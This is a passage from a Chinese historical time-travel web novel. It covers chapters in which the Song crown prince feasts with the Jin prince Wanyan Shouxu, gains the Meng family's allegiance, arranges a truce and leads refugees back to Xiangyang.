不过以现下大宋这昏暗的**环境,腐朽的官僚世家,以及无能的军事力量,怯战的底层士兵来看,想要灭金后再与蒙古一较短长,无异于痴人说梦。
宋宇认为,要想做点什么,必学得先安抚女真,让他掉转头去,和蒙古血战。这样,自己才能有时间,有机会来改变这大宋令人窒息的未来。想到此,宋宇转过头去,面露笑意与完颜守绪再次聊到了一处。
宋宇和完颜守绪在首座聊的十分投机,下边彭义斌,也主动找上了对面看似很壮实的,号称女真第一巴图鲁的完颜陈和尚。
只见彭义斌带着酒劲儿,瓮声瓮气的对着完颜陈和尚,拱了拱手中酒碗“:和尚,俺老彭是个粗人,不太会说话,以前在山东战场上,你和俺也打过几次,每次都是俺凭着铁布衫,足足骂你一个多时辰...这个,俺先干为敬,!和尚你随意。“
毕竟对方是和尚,彭义斌不晓得他饮不饮酒,干脆自己先一饮而尽了。
完颜陈和尚见这彭义斌找上自己,直接一口气干了满碗的酒,知道这彭义斌怕自己守那出家人的清规戒律。
索性放开了,一手拿起桌上一大块牛肉,另一只手则端起了面前酒碗。
咬了一大口牛肉,又直接将碗中的酒,倒入了口中。一通猛喝海嚼之后,张开那直滋油得大嘴,爽朗的一声大笑“:霍哈哈哈...和尚我虽是少林弟子,但自打下山后,杀得过人,喝得过酒,尝得了肉。故而人送外号,花帽和尚。彭将军在和尚面前,不必如此拘束,来来来...坐到和尚我身边,咱们在满饮几大碗。和尚这酒量不是吹牛,自打出娘胎开
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始,就没服过谁,只扶墙!“
边说着,边一胳膊扫开了旁边坐着的板子讹可,把彭义斌迎到了身旁,又对着板子讹可讥讽道“;怂货,贪生怕死,害的三阿哥满盘皆输,还有脸来此饮酒?“
板子讹可一听完颜陈和尚这话,又羞又臊,脸上红白变幻的飞快。显然被气得不轻。
虽然板子讹可是正儿八经得**猛安谋克,官阶也与完颜陈和尚相同,但还真就不敢顶嘴。
不为别的,这完颜陈和尚,在军营里摆明了就是个刺头。常常一言不合,对着同僚就是一通胖揍。
有时甚至连官大的都揍。为这,曾被上官告到了金国皇帝宣宗面前,直接被判了斩刑。
也不知是这和尚命不该死,还是运气爆棚。三阿哥完颜守绪恰在此时被封为了枢密使。
更加诡异的,这三阿哥一上任,立马释放了完颜陈和尚。还直接调遣到了自己身边。
明眼人立马晓得,这完颜陈和尚,从一界上边没人的软柿子,一跃成了三阿哥完颜守绪潜邸的奴才...
这主,谁还敢惹?谁还能惹得起?正因如此,板子讹可此时被完颜陈和尚一胳膊扫开,又出言讥讽,也是哑巴吃黄连,有苦说不出,囧着个脸解释道“;孟宗政枪法着实厉害,当时本将也是迫于无奈,才下令撤军的。“边说着,边指了指胳膊上被孟宗政刺出的伤。
完颜陈和尚也懒得理他,方才就是有意激他。好让他下次逃跑前,长长记性。不要坑的其他尚在混战中的友军太苦。
如此想着,完颜陈和尚冷哼一声,不在搭理他,转而侧过脸,再次满上一碗酒,笑盈盈对彭义斌敬酒道“:彭将军,我女**最敬重天不怕地不怕的勇猛之人,像是彭将军你的勇猛,和尚最是敬佩。只是不知你在你家太子身边,是何差使?“
彭义斌一听和尚问这个,哈哈大笑着答道“:俺就是俺家太子兄弟身边的一个平常闲汗。无官无职,无有俸禄得那种闲汉。“
完颜陈和尚见这彭义斌对自己主子,一口一个兄弟得,叫的紧!也没在乎他所说的什么无官无职的话,反倒是皱眉低声询问道“;彭将军?你与大宋太子是兄弟?“
“;嗯啊,可不是!多亏了太子兄弟,俺老彭才找到了报国的门路。不然,想来此生,只能在山中做个山大王,混吃等**。“彭义斌憨憨的回答道。言罢,端起酒碗,一饮而尽。
完颜陈和尚听完彭义斌之言,越加对大宋太子充满了好奇“;彭将军,你如此说,你家太子,真是个平易近人的好主子。彭将军可愿给和尚讲讲,你家太子平时得事迹?“
那边彭义斌俩人越谈越上瘾。而孟家父子却没有参加宋宇的饮宴,此时庄园一僻静房间里,孟宗正与三个儿女,都在聚精会神的,听孟珙在手足舞蹈的讲述在襄阳怎么怎么的遇见太子,怎么收拾史嵩之,又是怎么编练军队,来枣阳解围。
第一百零二回 孟珙难抉择 孟英欲相随
许久,这孟珙才停下了话头,激动的对着孟宗政说道“;父亲,想来,凭殿下的人品胆识,若是日后能坐在那个位置上,定然会使我宋人,再不受周边那些胡虏的窝囊气!“
孟宗正听了儿子孟珙所言,捋着那撮花白的山羊胡,陷入了沉思。还是那句话,人老精,鬼老灵。
这孟宗正听了儿子一席话,不光看到了这太子表面的风光,同时也看到,太子此时已经赤脚趟水前行了。
至于水有多深?能不能淹死这太子,孟宗正吃不准。但却能感觉到,一股巨大的权力斗争风暴,即将刮遍整个大宋,乃至整个华夏大地。
而引起这场风暴的,恐怕便是现在正坐于大金国三阿哥身旁,与世仇,大金国的三阿哥结为了兄弟的大宋太子,赵竑!
想到此,孟宗正眼神复杂的看向了窗外寂静的黑夜中,意味深长得叹了口气,这才皱眉缓缓开口道“:珙儿,许是为父老了,有些患得患失了。但为父总觉得,太子殿下行事太过刚猛,容不得恶。善恶分的太清楚,如此行事风格,只会将自己摆在这天下士大夫的对立面,要知道这天下可是士大夫的天下,得罪了他们,太子殿下能不能顺利登基,暂且不提,就算顺利登基了,胜利的一方,也会对失败的一方来一场大清洗。到时,是整个大宋百余年来根深蒂固,脑满肠肥的贪腐士大夫获胜,亦或是孤军奋战,一身正气得太子殿下获胜。都将直接影响我大宋,甚至是我炎黄子孙未来千余年的运势啊。“
孟珙听了父亲分析,打了个冷战,身上禁不住起了一层鸡皮疙瘩。其实孟珙也曾考虑过,太子殿下是否会与史弥远争得你死我活?
但并没想那么深。甚至一直以为,谁胜谁负,只要大宋政权不倒。自己孟家都会倾全力守土保国。
说白了,就是要冷眼旁观两方争斗,以国家领土为重,来个两不想帮。这就是孟珙自打看清宋宇所作所为之时,便一直坚持的信念。
而现在老父亲一席话,使得孟珙看到了更远的地方。在那里,大宋或是权相窃国,民不聊生,战火连天。
亦或是真命天子登基,澄清玉宇,再塑社稷。这,却是需要孟珙甚至所有追随在太子身边的人,不得不面对,好生思量,在作出最终决定事。想到这里,孟珙面色凝重的小声询问父亲道“:依父亲之见,我孟家当如何处之?“
孟宗正见孟珙做不了决定,笑着说道“:如何处之?这却要问你自己。须知,这太子,可是你的兄弟。况且为父现今年事已高,恐怕撑不到太子登基那一刻了。这主意,还是要珙儿你来做。毕竟,将来的事,还得要活在将来得你们自己摆平。“
孟珙见父亲撒手不管,将问题给回了孟珙。哪知一旁突然暴起一道娇喝“;哥,小妹替你脸红,殿下那么好的人,你却还在此做女儿态,犹豫不决。真真的枉为男儿身!“
说话的,正是孟宗正小女儿孟英。方才孟英一直在听孟珙与父亲谈论太子。这越听,小丫头越是仰慕宋宇,就像是后世追歌星的粉丝,这孟小丫头,此时真的找到了粉丝的感觉。而自己的偶像,就是大白脸宋宇。眼见自己的哥哥孟珙,竟然对要不要帮自己的大白脸偶像这件事犹豫不决。孟英这丫头登时来了脾气,这才怒喝自己的哥哥孟珙。
孟珙被这丫头呵斥,翻了个白眼“;你这丫头,几日不收拾,皮痒了?“
孟英见孟珙不知悔改,还恐吓自己。也来了脾气,小嘴一撅,向着门外跑去。
不多时,孟英气冲冲的跑到了正在与完颜守绪交流的宋宇跟前,奶声奶气的说道“;殿下,孟英敬你一碗酒。“
宋宇听见有人给自己敬酒,习惯性的端起酒碗,面带微笑,就要回敬过去。
哪知刚转过头,便犹豫了。只见孟宗政那小女儿孟英,端着酒碗,一脸认真的盯着自己。
细看这丫头,就见孟英已然脱去了铠甲,穿着一件白色长裙,白色长裙之外,套着浅绿色小褂。脑后扎着两条辫子。耷拉在肩上。如此打扮,再配上红扑扑的瓜子脸,清晰的眸子。让人看起来,无比清纯可爱!
但这娇小玲珑的身躯,此时端着一大碗酒,邀请自己喝,却是很不搭调。
就像是坏叔叔宋宇,在拐骗未成年少女一般。良心上的不安,让宋宇放下了微笑,冷静的说道“:丫头,莫要说笑,等你大些了,在饮酒不迟!“
哪知孟英小嘴一撅,奶声奶气的质问宋宇道“:殿下,孟英上过战场,杀过贼人,却是为何饮不得酒?“
宋宇听了孟英之言,无奈的拍了拍脑门!是啊,今天见这丫头时,满身血迹。指定没少**。好像这院子也是这丫头帮忙腾出来的。既然杀得了人,为何却喝不得酒?
想到此,宋宇慌忙道歉“;孟小将军,是本殿下,小看你了。还请孟小将军见谅。”言罢,宋宇猛然抬起手中酒碗,一口气喝了个干净。
孟英见这太子知错能改,十分开心,是越加喜欢太子这没架子得性格了。
孟英这丫头,就像是窝在山旮旯里的基层小人物,对站在权利顶层的人,平时也只能意淫下,而意淫的结果,只会把这权力顶峰之人,想的更加出神入化。
可一旦顶层人物突然出现在自己身边,不但不像意淫中那般神化,反倒是亲切可爱,那,立马就能迷死底层人物。
就好比说现在的孟英,已经喜欢宋宇,喜欢的发疯了。只见这小丫头,笑着将自己碗中的酒,意思了意思,抿了几口“;啊...好辣!这酒如此难喝,你们男人却还无它不欢。好生没有道理。“
宋宇听完这句话,差点没把嘴中尚未下咽的酒水,笑喷出来。好不容易憋着气,咽下了最后一口酒,直接就笑了出来“:哈哈哈...丫头,说吧,你到底找本殿下何事?莫非这城内,还有贪鄙粗陋之徒?”
孟英慌忙摆手“;那倒不是,整个枣阳,就这么一粒
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耗子屎,孟英已经给殿下挑出来了。现在整个枣阳,干净得很!其实孟英有事相求殿下。”
宋宇听这丫头谈吐间不乏豪侠之气,很是对自己脾气,十分开心,追问道“;丫头有甚尽管说,当今天下,最强盛的两个国家皇子在此,还能有甚做不了主的?”边说着,边指了指身旁的完颜守绪。
一旁的完颜守绪慌忙开口“;原来是孟老将军之女,怪不得浑身透着一股子英武之气。姑娘有甚难事,尽管说,我与赵竑兄弟,定然为你做主。”还别说,这完颜守绪,很上道,也很给宋宇面子。
哪知这孟英压根瞧不上完颜守绪,只见孟英对着热脸相迎的完颜守绪,翻了个白眼,一梗头,也不搭理他,转而看向一旁的宋宇,低头红着脸对着宋宇说道“;殿下,现在战争结束了,您不久,就要回临安是吧?”
宋宇看这丫头对完颜守绪很不感冒,让完颜守绪尴尬的要死,却对自己热情如火,顿时觉得有点不太妙:玛徳,莫不是我这帅气的大白脸,与磁性的声音,连未成年得少女,都不放过了?
这小丫头,莫不是深深被我吸引了?这可不太妙啊!
想到此,宋宇轻咳一声“;咳恩!不知道丫头你,问这作甚?”
孟英一听这太子不回答自己,反倒质问自己。有些不高兴了,撅着小嘴说道“:还能做甚?孟英是要求殿下你,带我出去见识见识。走一走比较大的城市。也好过窝在这小城枣阳。做一辈子足不出户的大家闺秀。”
宋宇一听这丫头解释,长出一口气:嗨!吓我一跳,原来是要出去跟团旅游啊。还以为是要我以身相许呢!
但细一思量,宋宇决定拒绝他,毕竟这次回临安,不知道会出什么幺蛾子。
想到这里,宋宇委婉的拒绝道“;这,孟老将军同意吗?”
孟英听了宋宇询问,只觉得这件事有门儿,高兴的回答道“:我做的主,父亲定然同意。”
得,看来这丫头,一准被孟老将军惯坏了。如此,宋宇还真不好拒绝了。
正在宋宇被这丫头,一时搞得没了脾气,暗自思量怎么拒绝。却见孟珙走了过来,对着皱眉一脸难色的宋宇说道“:殿下,小妹被我们几个惯坏了,向来无有礼数,还请殿下莫要与她一般见识。”
宋宇一听,忙摆手说道“;无碍,孟丫头天真可爱,十分讨喜,只是,孟丫头要与我同回临安,却是难为了我。”
孟珙听了前因后果,立马转过头,沉着脸质问道“;胡闹,你一个小丫头,去那临安作甚?”
孟英被孟珙质问,并没被吓到。反倒是撅着嘴驳斥道“;哥,既然你胆小怕事,不愿留在殿下身边,小妹也不怪你。但小妹觉得殿下人很好,不想让他死,所以从今以后,小妹要时时刻刻,跟在殿下身边,保护他。”
这句话一出,堂内交头接耳之声顿时清净了不少。所有人都将目光,移向了宴会厅正中央站立的孟英。
第一百零三回 终于停战了 有事找弥远
再看宋宇,已经愣神了:吓?什么情况?不想让我死?要陪在我身边保护我?还时时刻刻?这...怎么越听越迷糊,生离死别似的?好奇怪啊?再者,是哪个缺心眼的,要弄死我?
宋宇被孟英一席话雷到了,一旁的完颜守绪更是讶异:怎么宋人的关系如此混乱?而且今日也不知犯了什么邪?遇见两位美色可餐的汉家女子,却都是外表娇柔,内里彪悍之人!
就像这小丫头,年未满十六,竟然当着满厅人,直言如此害臊之事。且不论这宋国太子需不需要她保护,单单说那单骑救父得孟珙胆小怕事,这一条,就能让满厅征战多年**无数的将军们,眼珠子掉一地了。
不关全场所有人,就连孟珙这个当事人,听了这泼辣妹子一席话,更是恨不得钻到地缝里,英俊的脸上火辣辣的疼。
要知道,今日可不光有宋国得将士,更是有金国那些平素被他孟珙打没了脾气的将军们。现在妹子竟然如此不顾自己面皮,说自己胆小怕事,比当面扇他孟珙俩耳刮子,也差不到哪去了。
只见孟珙脸色一阵白一阵红,显是被气的不轻。转过头,对着自己父亲喊道“:爹,四妹如此胡闹,都是你平常惯的,今日你可得好好管管她!”
关键时刻,孟珙请孟老爷子出手了。毕竟现场这么多人,孟珙就算再不晓事理,在生气,也不会当着众人的面,羞辱自己妹子。这就叫亲情。换言之,如果亲兄弟之间为了什么金钱利益,互相羞辱,互相仇视,那,就叫禽兽。
而孟宗正听了孟珙呼唤,知道这对儿女,是僵住了,自己再选择袖手旁观,实在说不过去了。
只见他手抚胡须,向前几步,哈哈大笑着说道“:哈哈哈...珙儿,英儿所说,也并非无有道理。而且为父知道,你是将大宋得安危,放在了第一位。不过,这样真的好吗?“
满厅众人,估计没几个真正听明白孟宗政话里的意思。但孟珙心里门清,知道父亲说得对。自己之所以想要对即将来临的朝堂风暴冷眼以对,就是因为一个怕字,倒不是怕死,而是怕到时万一太子落败,大宋顷刻土崩瓦解,那自己,还不如守在枣阳的好。
而孟宗正见孟珙仍在犹豫,三两步走到了他身边,附耳说道“;珙儿,我孟家谨遵岳元帅遗志,把守襄阳门户枣阳近一甲子,可曾改变什么?除了延长了这大宋将尽的命数,可谓一无所获。
朝堂上,那些掌权的达官显贵依旧纵情声色,醉枕半壁江山,而恬不知耻!如此,与其让这天下百姓继续活在这浑浑噩噩的世道里,不若抓住这千载难逢的机遇,放手一搏,或许,能改变些什么,也说不定。”
孟珙一直低着头,双手攥拳深思。直到听完父亲说给自己的悄悄话,孟珙这才咬咬牙,终于做出了决定:是啊!与其让大宋这死而不僵得病躯,继续丢人现眼的苟延残喘,还不若放手一搏,说不定,会有一番新天地,出现在自己面前。
想到此,孟珙拉着自己身旁小妹的手,陡然跪下“:殿下,我孟家兄妹,请求随殿下一同回临安。”
“:哦?”宋宇等了半天,非但没等来孟珙劝下自己小妹,反倒是等来了两人同去这句话。
其实宋宇这次来,就是打算要将孟珙带回临安。毕竟,府中还有岳飞留下的衣甲兵器。宋宇还想要亲自交给这岳家枪真正的传人。只是还没开口罢了。现在孟珙主动提出,虽有些突兀,但宋宇也乐得接受。
但宋宇对于孟英这丫头,却是很不感冒,毕竟,临安究竟是断头台,还是安乐乡,尚不可知。
万一孟英这挂团旅游的。不小心被自己连累**。那,也忒憋屈啊!想到此,宋宇关切的提醒孟珙道“;孟兄弟,这临安之行,毕竟十分麻烦。想孟英丫头,年龄尚小,若是路上出个什么意外,岂不悔之晚矣?“
其实宋宇还不知道,这孟珙之前压根就没想跟他回临安,就想守着这枣阳,来个视而不见,守土保国。
直到现在孟珙跪在地上这一刻起,才算是真正接受了宋宇这位兄弟。是真心实意,要助宋宇澄清玉宇,再塑社稷了。
而且宋宇还不晓得,这孟英年龄虽小,武艺却是不在另三位哥哥之下,可以说,孟家除了孟珙和孟宗正武艺好,便能轮到这丫头了。
只见孟珙听了宋宇之言,一脸正色答道“;殿下放心,小妹知道自己在做甚,而且小妹武艺了得,方才说要保护殿下之言,并非信口开河。“
得,看来这兄妹俩,是铁了心要一起行动了。孟珙言尽于此,宋宇也懒得再劝,笑着扶起了这两兄妹“;罢了。既然你们都知道自己在做甚,我也不说什么了。毕竟来日方长。以后咱有的是时间聊天。“
就这样,宋宇接受了这两兄妹的请求。高兴的拉着他们父子三人,与完颜守绪喝到了一处,聊在了一起。
这一夜,就这样在两方人马的喧闹声中度过。接下来的几天时间,宋宇先是给留守枣阳的余阶写了书信,让他将粮草,与许给金国得银两一并押送到枣阳来。
而完颜守绪,也已经给身在汴梁(也就是金国南京)得皇阿玛去了书信,告诉他两军停战,宋国许以拖欠金银,但不在以侄皇帝国自称。
并且自己还和大宋国太子,结为了异族兄弟。这金国皇帝宣宗完颜询见了这封书信,和朝臣整整商议了一日。
最终,同意了这个条款。毕竟现在蒙古四杰之一,赤老温亲帅率数万蒙古骑兵,横扫金国西部。拔同洲,蒲城,围长安,困凤翔,金军数度往救,都是大败而归。现今,大金国急需兵力西调,才能解了此围。正是在这种情况下,金宣宗答应了停战协定。
宋宇听完完颜守绪兴高采烈的讲述
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,却陷入了沉思。其实宋宇知道,现在金国是打破头,都想要停战。只不过,南宋有人二百五,拒绝和议,金国有史弥远内应,也想要占便宜,所以这场战争才会持续这么久罢了。而现在,金国宣宗同意了全线撤军,自己这里却是万分窘迫。
毕竟,自己只是个无兵无权的象征性太子。虽然宁宗很是喜欢自己,但这有个屁用?能让自己左右朝局吗?即使自己将停战折子,送了上去。朝堂上那帮子混蛋,似小孩过家家般。会怎么想?鬼才知道。
而且宋宇现在处境,就是要行事隐秘,能瞒一时是一时,所以也没打算在回临安之前,给自己那便宜皇帝爹上折子,因为即使上了折子,也是史弥远看到,自己皇帝爹肯定被史弥远瞒的死死的。
正是带着这个想法,宋宇为了不坑金国,看着一脸欢喜的完颜守绪说道“:守绪兄弟,其实朝堂之事,兄弟我也吃不太准,其他战线停战之事,你也别着急,兄弟我过几天,就回去给他们做思想工作。什么时候朝庭上那帮子人想通了,不想打了,你金国在撤。这样稳妥些。而这京湖方面,我做得了主,你大可放心撤军。如此也能解你金国一时之急。毕竟,赤老温那货,不是轻易能收拾得主。”
本以为说了这句话,完颜守绪会很失望,哪知这完颜守绪竟然反问宋宇,是不是说笑?
而且,这完颜守绪也不隐瞒,坦率得将自己和史弥远的关系,明明白白告诉了宋宇。还直言,有事找史弥远解决,解决不了就提他完颜守绪的大名。
宋宇听了,嘿嘿冷笑,果然与自己的猜测**不离十,完颜守绪,确实将史弥远,一直视作大金国的朋友。
但与宋宇猜测不太相同的是,在宋宇来之前,金国就曾数次通过史嵩之,联系史弥远,企图让史弥远结束这场战争。随便让宋国朝廷赔点钱,赚点面子,了事算了。
但史弥远却一拖再拖,而且回话说,宋国皇上很坚持,直言停战没门,赔款没门。就是要打。并且期望金国使出全力,重创宋军,到时自己定然会让宋国皇帝屈服,再次称臣纳贡。
而完颜守绪之所以高兴,就是因为宋宇这位太子都主动要求停战了,那么到时回了朝廷,太子加上宰相,劝服朝臣停战,就是板上钉钉的事了。宋宇见完颜守绪是这么想的,也没有要跟他解释大宋朝堂究竟是个什么情况,这水究竟有多深。
干脆选择了沉默,打哈哈似的说自己和史弥远的关系,好的像是亲爷俩,随行的小小还是史相数月前送的呢。并回给了完颜守绪一个你真棒的眼神...
其实宋宇恐怕是现在一连串变局中,少有的明白人了,因为宋宇已经猜到,这之间的事,怕是不简单。
这史弥远,贪鄙粗陋之人,随利而动之辈。想来是有什么利益,在吸引他,让他坚持这场争。
第一百零四回 终于回襄阳 不是欢迎啊
史弥远这才糊弄金国,让金国继续将国力,消耗在对宋战场上。如果是这样,那史弥远背后有嫌疑的,可是多了去了。
首先,忠义军李全,就十分喜欢见到金国继续与宋国交战。毕竟一旦两国停手,他李全便会成为金国的眼中钉肉中刺,不拔不快了。
除了李全,蒙古也有嫌疑。成吉思汗不止一次说过,要好好利用宋金之间得矛盾,用来对付金国。
除了蒙古,还有西夏和辽东的蒲鲜万奴,耶律留哥,哪个都希望看到金国与宋国继续打。
这还都只是表面的,隐藏在下边的,只怕更是多得不可胜数啊!可见这金国,现在正处在各势力利益纵横交错的中心点,一句一动都牵动着天下的变局。
又更像是过街老鼠,人人喊打。大家都想看到一个继续被消弱的大金。其实这也怪不得别人,谁叫人家大金国,就是这个操行呢!
有几个歇后语说得很好,小母牛喝酒,醉牛逼。小母牛流月经,血牛逼。小母牛坐钻天猴,牛逼上天了。
反正但凡和小母牛有关的词,都可以用在大金国身上。一句话,出来装逼,迟早是要还的。
当然了,宋宇对完颜守绪,还是恨欣赏的。经过这两天的接触,宋宇发现,这完颜守绪虽然是含着金奶子长大的娃娃。
但却一点不矫情。低调奢华有内涵,用来形容他,很是贴切。尤其是这完颜守绪,跟宋宇说的话,九成都是实话,这是非常难得的。
毕竟宋宇是穿越而来,很多事,只要完颜守绪敷衍胡说,宋宇立马就能看穿。
但很显然,这完颜守绪不懂什么叫忽悠人。很实在,几乎和宋宇,成了无话不谈的亲闺蜜。让宋宇总是觉得,和他交朋友,还是有便宜可占的。
就是带着这样的想法,宋宇在最后和完颜守绪分别之时,微笑着说道“:兄弟,此一分离,天南海北,从此以后,你我二人再想见面,怕是不太可能了。切记,越是紧要关头,越要镇定自若,须知,你在南边,始终有个兄弟。”这话很明显,就是告诉完颜守绪,北边如果混不下去了,南边还有个兄弟能保你一命。
但完颜守绪显然不知道自己会是什么结果,听了宋宇真情流露却像是死前诀别似的的一席话,疑惑的盯着宋宇看了好一会,才似懂非懂的,露出了感激的微笑。
之后也没留下句话,便率领折损近半得金军,缓缓开拔,奔着北方而去。
其实宋宇现在,是彻底改变了完颜守绪的命运。至于大金国,会因为这小小的改变,迎来多大转机,宋宇却懒得想了。毕竟,现在自己和史弥远,已经到了必须死一个的地步。宋宇现在,可没工夫去猜测别人的死活了。
如此,宋宇在枣阳又呆了数日,其间结交了战场上,袭营救了自己的丐帮一众首领。
只不过,这丐帮成员,八成都是老弱妇孺,对宋宇来说,编成军队是不可能了。
其实想想也知道,他们从北方逃难过来,金人肯定会想方设法留下壮劳力。
剩下的老弱妇孺,金人还嫌它留着费粮食呢。所以能逃到这里的难民,八成都是老弱病残。
不过为了答谢他们,宋宇还是给他们安排了去处,那就是将在襄阳,抄没出来的那些地契。
索性,做了顺水人情,全都散发给了这丐帮。宋宇顺水送的人情,并未想要得到报答,但**,从这一天开始,自己在枣阳干的事,竟悄然传播开来,一时听到的人都成了太子故事迷。
这,还真多亏了丐帮除了要饭之外得另一项特长,那就是走街串巷说快板。
宋宇又给枣阳发了军饷粮草,留下了孟宗政的其中一个儿子守备枣阳,这才带领来时的众位兄弟,和孟家父子等人,向着襄阳而去。
但是在临走前,还是留下了命令,要他们善待接纳从北方逃难而来的百姓,好生安置,没钱了,没粮了,没地分了。就直接来襄阳取。
相较于来时的队伍,这宋宇回襄阳的队伍,足足扩大了近二十倍。多出来的,便是枣阳附近没有田地的流民。这三天来,宋宇是到处张榜,招揽附近的流民,为的就是把襄阳得田地,分给这些逃难而来的百姓。就这样,浩浩荡荡二十万人的流民队伍,簇拥着当朝太子宋宇的大旗,缓缓向襄阳走去。
襄阳一面,自打宋宇走后,余阶这些日子来,可没闲着。就在宋宇走的第二天,这襄阳竟然流言四起,而这流言,竟然说什么史嵩之赶着大批牛羊,又去舔金狗主子腚眼去了。
仅仅半日,整个襄阳便开始人人骂娘,局势颇为紧张。好在余阶不是个糊涂人,一看势头不对,立马想出了对策,那就是拿出宋宇留下的印信,四处张榜,说明了**,驴群,其实是太子与金人开战的坐骑。而且名言,只要等个十数日,定然真相大白。这才暂时稳住了襄阳百姓的怒火。
而余阶也不知是懵对了,还是怎的,宋宇回来的这天,正好是第十天。只见余阶手里拿着宋宇写来的书信,欣喜不已,赶忙叫上了留守的一众人,老早便来到了北门等候。
哪知这余阶,一等就等到了黄昏。才迎来了宋宇那一眼望不到边的难民队伍。
余阶看着这狼狈不堪的流民队伍,心里十分好奇,三步并作两步跑了过去,拉住宋宇那头黑白相间的花毛驴,关切的问道“;殿下,你可回来了,再不回来,小弟可镇不住这襄阳百姓激动的心情了!”
宋宇拍了拍脸上的尘土,笑着说道“:余老幺,十数日不见,可想死本殿下了。”
言罢,宋宇跳下了驴背,却见襄阳北门内挤满了百姓,心中疑惑,指着襄阳北门内站立的百姓说道“:这些百姓,为何全都在此处?”
得,看来宋宇还什么都不知道。
余阶听宋宇问起此事,忙说道“;不瞒殿下,你走后的第二天,这襄阳便乱成了一锅粥。也不知是哪个天杀的,散播流言,说殿下的
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**驴群,是那史嵩之孝敬金狗主子的礼物。就这句话,差点没把襄阳搞得**。还好小弟拿出了殿下走时留下的印信。发布榜文,澄清事实,这才暂时稳住了群情激愤的襄阳百姓。没让他们把衙门拆了。由于许他们十数日后,殿下定然凯旋而归,这不,襄阳百姓现在都在等着殿下,给他们个说法呢。本来这些百姓都要出来迎接,但小弟怕有人趁乱逃离。走漏了消息,这才将它们,挡在了北门之内。”
宋宇听了这个解释,苦笑着摇了摇头,感情,这襄阳百姓,不是因为自己打了胜仗欢迎,而是都在等着自己解释牛和毛驴赶到哪里去了?
想到此,宋宇指着身后老长的难民队伍,解释道“:喏,这些人,都是**在枣阳得北地流民,前些日子已经和你在信中说了,那些田宅土地,你可事先布置妥当?“
余阶听了,赶忙回道“;田宅土地已经清理造册,只待这些流民,在空白表册上签字画押,便可在这襄阳周边,得到一块土地,至于耕牛等物,小弟还没来得及采买,看来这几天得加紧办理此事了。“
“;不着急,慢慢弄,其实也怪我,身边全带的大老粗,就你一个文官,当初要是知道这襄阳之行会发展成这样,就该叫上刘克庄他们一块来,这倒好,把你忙的跟孙子似的。“宋宇一脸歉意的对余阶说道。
余阶摇了摇头“;殿下,小弟忙的过来,只是小弟要奉劝您一句,公然违抗朝廷命令,收容这些流民,即使是皇室,也是重罪一条。不过,现在咱犯的事也不少了,整个京湖,现在都让殿下您给整成独立小朝廷了。正所谓虱子多了不怕咬。伸头一刀,缩头也是一刀,咱也不怕多这一条罪了,索性胡闹到底吧。“言罢,余阶又将宋宇扶到了驴背上。亲自牵着毛驴,吩咐众人,向着城内走去。
宋宇顺着余阶的力道,坐回了驴背上,自言自语道“:小朝廷?别说,还真像!”
看前边百姓众多,宋宇忙整了整身上铠甲,对着余阶继续说道“;余老幺,你觉得,我把孟老将军,留在襄阳,主持局面如何?“
余阶牵着宋宇的花毛驴,边走边答道“:孟老将军乃是岳家军嫡传,其父孟林,祖父孟安,都曾追随岳飞左右。可以说是三代忠良。殿下让他来守襄阳,是再好不过。只不过,我大宋向来没有武将独守一城之例,殿下是不是再安排个文官相佐?“
余阶说的,宋宇都明白。其实这孟家,在历史上是五代忠良。孟宗正上边是父孟林,祖孟安。
而之后继承其遗志得,便是儿子孟珙,孙子孟之经。如果宋朝不灭,他老孟家估计还会有六代七代忠烈,没办法,人家家教好。孩子都懂事。
但余阶后一句话,宋宇却有些不赞同,说白了,对武人得猜忌与排挤,贯穿了整个两宋时期。包括他余阶,也是因此饱受诟病,最终被气死。现在余阶亲口提醒自己,坏了他老赵家得祖宗规矩。
第一百零五回 孟女侠斗嘴 老人的**
宋宇心里觉得很不是滋味,有心调笑一下余阶,只见他一脸坏笑的问道“:余老幺,你这么说,莫不是想要毛遂自荐,留在襄阳做那镇守一方的文官?”
余阶一听这话,回过头白了宋宇一眼“;殿下,忒的**道,走时您说过。不会让小弟留在这的。而且,小弟长于军旅,这伺候百姓之事,实是做不来。况且,这临安之行,可比襄阳重要得多。殿下若是离了小弟,去了临安遇事没人支招,可如何是好?“
要是别人听了余阶这些话,指定得说他吹牛,堂堂的大宋太子,还就离不了你了?
但宋宇却深以为然,因为宋宇十分了解余阶,平生好大言,却有真才实学,便是对余阶得真实写照。
而且,首先得弄明白,好大言,和好吹牛,不是一个概念。好大言,说的是一个人知道自己几斤几两,但当他说出来将来的抱负,旁人却都认为不切实际。但最后这个人却证明了自己之前的言论,这叫好大言。
与之相反,好吹牛就是另一个概念,说的是这个人不知道自己几斤几两,但把牛都吹到天上了。最后要么没真去做,要么真去做了。也失败了。这就叫好吹牛。
正在宋宇要继续调笑余阶的时候,身后一员女将,突兀的策马猛冲到了宋宇身旁,直把前边牵驴得余阶,吓了一跳,待从惊慌中回过神,余阶回过头呵斥道“:你这厮,莫不是想撞死余某?“
宋宇一听这余阶话头,转过脸去,待看清来人面孔,差点没憋不住笑了。心想:这回余老幺可栽了。旁边这个女将,活脱脱一个煞神。心直口快,泼辣得很。余阶如此说他,岂不是活的不耐烦了?
果不其然,只见那女将白了一眼前边怒目而视得余阶,冷冷的说道“;那你可被本姑娘撞**?“
余阶一见这姑娘,如此无礼,登时怒了“;你!.你这小丫头,好生蛮不讲理,若是在下**,如何质问于你?“
得,像余阶这样的文人,估计也就能说出这种程度得,侮辱性言语了。
面对吵架智商几乎为零的余阶,那女将不削地笑了笑“;小子,你小姑奶奶今天心情好,放你一马,你呀,赶紧闭嘴,继续牵驴就是了!”
‘噗呲’宋宇实在憋不住了,在旁笑了出来。再看余阶,脸红的就像猴屁股,指着这女将,问宋宇道“;殿下,你哪里捡来的野丫头,如此不晓事理?真真的气煞小弟了。”
宋宇见余阶敢这么称呼这女将,赶紧做了个噤声的手势“;嘘!你不想活了?这可是孟珙得四妹,孟宗正老将军的掌上明珠,孟英孟女侠。就在前几日,孟英女侠不经本殿下同意,强行作了本殿下的保镖。而且还是免费的。你懂不懂?”
余阶见宋宇介绍这姑娘之时,颇为小心谨慎,生怕被狗咬了似的。心思活泛的他,立马明白,这丫头,怕是个茬茬。
只见他脸色立马来了个三百六十度大转弯,由愤怒,瞬间变成了微笑。不,是媚笑“;哎呀!呵呵呵...原来您是孟老将军的掌上明珠!余某实在是有眼不识泰山,冲撞了姑娘你。在此,余某给姑娘赔个不是,还请姑娘莫怪。”言罢,余阶松开驴缰,媚笑着拱了拱手。
